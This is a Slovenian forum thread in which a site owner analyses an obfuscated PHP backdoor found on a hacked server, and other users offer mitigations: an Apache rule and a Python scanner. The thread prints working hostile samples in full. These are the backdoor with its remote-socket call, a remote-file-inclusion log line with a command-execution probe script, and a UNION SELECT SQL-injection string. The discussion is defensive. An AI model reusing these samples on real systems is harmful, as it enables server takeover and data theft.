hekerska uganka

Zdravo,
shakali so en site, nekak jim je uspelo uploadat en php file v neko 777 mapo.
Preko tega fajla so verjetno lahko brskali po celem www direktoriu in spreminjali vse kar je bilo 777. Škode sicer niso naredili in iz backupov sem že obnovil zadeve in luknjo zavaroval, vendar vseeno
Vsebina zlobnega fajla je takšna:

<?php
// Important system file. Don't change anything.
if(@$_REQUEST['soulfly']=='1'){eval(gzinflate(base64_decode('FZrHEqPIEkU/Z3qCBd7FrPDeCA+bF3hvhf/6p14rKKGsypvngMozHf7UbztVQ7qXf7L0WxLY/4oyn4vyzz9iUonvnKVD71c4jnnS1g1Ls2IHejMLppEWRFcVGsxCotH0qFtGPm9yRSwnmq7N+ZlBanJP173AB9UqjtQqEOvUBcHIJAvpS1Igmhd8hKrglW+oR1GLfEX7i7/sjPdLQsiTRiZSqty+5le1zUS0to+FM2txT74UaWOinN+EFQpyUFG0nGsRq6qUvNAKaFJo4kw+qHJrb5LqLMHfhWF75bxWFe2+A4DzsQpFNBlloh3nq0VVOq/FLGLBAEODG3TYEDBTIFF8BnAHPgs6ZjeVQNEFLn85HdNT18xZER7Lb4c/BNVTXkzxYhgdxe1SdOtDVq5RBrgmh/ryMwfxVhrSDoS6O0Tn46c2Gak2hCQhxbHFUpSzwd0pYEY9w4MK8HyIGVQ3kpRi2LENEdHO3XD9ssj+ydpVz/ESu8W8dU97hRD16zdVxjv63fw2KNdvxjak/GF2pkLbXsaHNfVjKaWKYcxIKf1IuCcl1SINAxWegmZsXzxTVy5+4yP3PpJMyhNnn7eGlgZvulavwn7yzLeugOqgC3uDbFnezgUJfe4QwN/ThI1w7Fq0mTD+3o7NTxvMQsfj3eBr/kRhcbIoJrHawhH7ogklztOedH9ypdQiKf5EyItCp8h/6up6DqW3Ac3SaORzM/WGIt26L4Slf0cnyXlspUdriR2tFzfLIX2WlXPUaFcP2gZfOuaASzb45eDLqAXUX97zkY6RMBEIY3MAjlGcZ8cgvxIfrjBWJHhvEecIKh45z6GYf4JkDYNQKXp9v/E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error_reporting(0);
set_time_limit(0);
@set_magic_quotes_runtime(0);
if(SSSSS())exit;
function SSSSS(){$SSSSS=SSSSSSS("AwA=");
$SSSSSS=@$_REQUEST[SSSSSSS("q0jLAwA=")];
if($SSSSSS){$SSSSS=$SSSSSS;
}elseif($SSSSSSS=trim(@$_REQUEST[SSSSSSS("KwQA")])){$SSSSS=SSSSSSS("K05NLErO0CvIKLAvtAUA").urlencode($SSSSSSS).SSSSSSS("U6vILLAFAA==").urlencode($_SERVER[SSSSSSS("C3L19Q9xjXd0cQkCAA==")]);
}if($SSSSS){if(($SSSSSSSS=SSSSSS(SSSSSSS("K83LLCxNLSlKTM5OLdJLyQIA"),$SSSSS))!==false){echo $SSSSSSSS;
return true;
}}return false;
}function SSSSSS($SSSSS,$SSSSSS){$SSSSSSS=SSSSSSS("AwA=");
if($SSSSSSSS=@fsockopen($SSSSS,80,$SSSSSSSSS,$SSSSSSSSSS,15)){$SSSSSSSSSSS=eval("return \"".SSSSSSS("iymKyQMA")."\";
");
if(!@fwrite($SSSSSSSS,eval("return \"".SSSSSSS("c3cNUdAHAA==")."\";
").$SSSSSS.eval("return \"".SSSSSSS("U/AICQnQN9QzAAA=")."\";
").$SSSSSSSSSSS.eval("return \"".SSSSSSS("88gvLrFSAAA=")."\";
").$SSSSS.$SSSSSSSSSSS.eval("return \"".SSSSSSS("c0xOTi0o0XXOSCwqTi2xUgAA")."\";
").$_SERVER[SSSSSSS("8wgJCYh3dHZ2DQiJd/ZwDAp2DQEA")].$SSSSSSSSSSS.eval("return \"".SSSSSSS("c0xOTi0o0fVJzEsvTUxPtVIAAA==")."\";
").$_SERVER[SSSSSSS("8wgJCYh3dHZ2DQiJ93H0cw91dHcFAA==")].$SSSSSSSSSSS.eval("return \"".SSSSSSS("Cy1OLdJ1TE/NK7FSAAA=")."\";
").$_SERVER[SSSSSSS("8wgJCYgPDXYNind0d/ULAQA=")].$SSSSSSSSSSS.eval("return \"".SSSSSSS("C0pNSy1KLbJSAAA=")."\";
").urlencode($_SERVER[SSSSSSS("8wgJCYgPDXYNig9ydXMNcg0CAA==")]).$SSSSSSSSSSS.eval("return \"".SSSSSSS("c87Py0tNLsnMz7NScM7JL04FAA==")."\";
").$SSSSSSSSSSS.$SSSSSSSSSSS)){@fclose($SSSSSSSS);
return false;
}$SSSSSSSSSSSS=0;
$SSSSSSSSSSSSS=SSSSSSS("AwA=");
$SSSSSSSSSSSSSS=SSSSSSS("AwA=");
while(!@feof($SSSSSSSS)){$SSSSSSSSSSSSS.=@fread($SSSSSSSS,2048*4);
if($SSSSSSSSSSSS===0){$SSSSSSSSSSSS=false;
if(substr($SSSSSSSSSSSSS,9,3)!=SSSSSSS("MzIwAAA=")){@fclose($SSSSSSSS);
return false;
}}if(!$SSSSSSSSSSSS){if(($SSSSSSSSSSSSSSS=strpos($SSSSSSSSSSSSS,eval("return \"".SSSSSSS("iymKyYsBYgA=")."\";
")))!==false){$SSSSSSSSSSSSSS.=substr($SSSSSSSSSSSSS,0,$SSSSSSSSSSSSSSS);
$SSSSSSS.=substr($SSSSSSSSSSSSS,$SSSSSSSSSSSSSSS+4);
$SSSSSSSSSSSSS=SSSSSSS("AwA=");
$SSSSSSSSSSSS=true;
}else{$SSSSSSSSSSSSSS.=$SSSSSSSSSSSSS;
}}else{$SSSSSSS.=$SSSSSSSSSSSSS;
$SSSSSSSSSSSSS=SSSSSSS("AwA=");
}}@fclose($SSSSSSSS);
foreach(explode(eval("return \"".SSSSSSS("i8kDAA==")."\";
"),$SSSSSSSSSSSSSS)as $SSSSSSSSSSSSSSSS){if($SSSSSSSSSSSSSSSS=trim($SSSSSSSSSSSSSSSS)){if(count($SSSSSSSSSSSSSSS=explode(SSSSSSS("swIA"),$SSSSSSSSSSSSSSSS))==2){@header($SSSSSSSSSSSSSSSS,true);
if(substr(trim($SSSSSSSSSSSSSSS[1]),0,4)==SSSSSSS("K0mtKAEA")){$SSSSSSS=preg_replace(SSSSSSS("09fIKEpNqykuSta01YhWAgA=").eval("return \"".SSSSSSS("UwcA")."\";
").SSSSSSS("i9WM0YvR14iOUwIA").eval("return \"".SSSSSSS("UwcA")."\";
").SSSSSSS("i9XStI8x0s8sBgA="),SSSSSSS("izG0jTGyr0jLs40xjjECAA=="),$SSSSSSS);
$SSSSSSS=preg_replace(SSSSSSS("07fJTS1JVMgoKSnQTS0szSyzVSpKTStKLc5Qio6zi9Wyt9PPLAYA"),SSSSSSS("s8lNLUlUyCgpKdBNLSzNLLNVKkpNK0otzlBSSM7PK0nNK7FVMjMwsFYIDfKxBQA=").urldecode($_SERVER[SSSSSSS("C3INDHUNDokPDfIEAA==")]).SSSSSSS("U7IDAA=="),$SSSSSSS);
$SSSSSSS=preg_replace(SSSSSSS("009MLsnMz7NVKk5NLErO0CvIKFDSzywGAA=="),SSSSSSS("AwA="),$SSSSSSS);
$SSSSSSS=preg_replace(SSSSSSS("089NLcnIT7FVKsgvLlHSzywGAA=="),SSSSSSS("y00tychPsVVKTy1RAgA="),$SSSSSSS);
}}}}unset($SSSSSSSSSSSSSS);
return $SSSSSSS;
}return false;
}function SSSSSSS($v){return eval(base64_decode("cmV0dXJuIGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCR2KSk7"));
}

?>

A je komu kaj več jasno? :)

20 odgovorov

vsi tisti stringi v stilu "089NLcnIT7FVKsgvLlHSzywGAA==" so ( zazipani in ) base64 encodani... te stringe potem eval-a tako da se ne da rečt kaj počne

base64 lahko odkodiraš npr tuki: http://www.motobit.com/util/base64-decoder-encoder.asp

npr zadnja funkcija s 7 "S" evala string "return gzinflate(base64_decode($v));"

skripto nadomesti z php skripto ki pošlje podatke človeka ki uleti na njo na tvoj email, ki je na nekem drugem serverju.

Odvisno od tega kako je server nastavljen ampak dostopal so lahko do vsega do čegar lahko tvoj PHP. Če lahko php dostopa do comand lina potem so lahko mel tud "simuliran" ssh dostop.

a se da kako konfigurirat httpd.conf s kakim regex-om, da se onemogoči php v vseh mapah, ki se začnejo z uploads/ ?

<Directory ~ "^/var/www/html(.*?)upload(.*?)">
    AddHandler default-handler php
</Directory>

tkole dela

Takole pa zgledajo logi:

==0d239948==============================
Request: domena.com 88.86.113.194 - - [18/Jan/2009:04:51:17 +0100] "GET /uploads/index.php?REQUEST=&REQUEST[option]=comconte
nt&
REQUEST[Itemid]=1&GLOBALS=&mosConfigabsolutepath=http://www.ecf.cl/portal/cache/rss40.xml?? HTTP/1.1" 403 402 "-" "Mozilla/4.61 en" t@qwWFu5wUAAATCwdiQAAAAH "-"

tole je pač en neuspeli poskus, ker site ni na mambo-joomli cms-ji

vsebina xml fajla je pa taka:

<html><head><title>/// Response CMD ///</title></head><body bgcolor=DC143C>
<H1>Changing this CMD will result in corrupt scanning !</H1>
</html></head></body>
<?php
if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){
echo("Safe Mode of this Server is : ");
echo("SafemodeOFF");
}
else{
ini_restore("safe_mode");
ini_restore("open_basedir");
if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){
echo("Safe Mode of this Server is : ");
echo("SafemodeOFF");
}else{
echo("Safe Mode of this Server is : ");
echo("SafemodeON");
}
}
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}
}
return $res;
}
exit;

Komu se da v nedeljo sploh hekat strani ?!?!??!

Komu se da v nedeljo sploh hekat strani ?!?!??!

A misliš da sedijo zraven škatle in gledajo ali bo hack uspel LOL

Btw.
Če bi imeli malo bolj poskrbljeno za varnost se to ne bi dogajalo... Takšnih zahtevkov je na dan tisoče ... :)

Ah ja, skriptice? Po možnosti plačljive, ki jih kaki hacker zrihta, potem pa je noter polno evalov :). No sej tudi pri WP templatih se dogaja to ... :)

V nedeljo? Lahko bi bilo tudi kateri drug dan, dolgčas verjetno ...

janko: Hvala

dbMG: hvala za super post... res si car

hexer: jah... :) v nedeljo je bilo

Jah :D

Razkodiraj do konca pa vrži ven če ne rabiš te kode, samo verjetno je kak footer al pa kaj noter, nekaj kar bi te odvrnilo od tega da odstraniš. Je pa priporočljivo, da odstraniš .... :)

Je že vse iz backupov obnovljeno in luknja zavarovana(v vseh direktorijih kjer se lahko uploada, php ne dela. Upam da je to dovolj). Zlobna koda je odstranjena v celoti iz serevrja. Uploader že preverja mime/type, vendar se ga da prek browserja sfjekat, je treba server side preverjat - http://si2.php.net/finfo_file

Če bi kdo rad skeniral svoj server je tukaj python skripta.

import os, glob
stuff = os.popen("find /var/www/html/* -name '*.php'");
for item in stuff:
    f = open(os.path.normpath(item.strip())).read()
    if 'eval(' in f and 'base64_decode' in f and 'gzinflate' in f:
        print 'stuff! [' + item.strip() + ']'

LP

Evo še ena uganka, kaj točno doseže iz CONCAT()

450 and 1=2 union select
CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c)
/*

Gre nekako za SQL injection samo mi ni jasno zakaj z znaki |_| ?

Skratka pojavlja se neko bot omrežje ki pošilja take querye, še kdo opazil? Namreč en page je dobil ob 5.00 -> 5.03 cca. 500 zahtevkov tega querya. Seveda vsak request je drugačen ip. Spet kak mali nadebudnež ...

HTTPUSERAGENT: ati2qs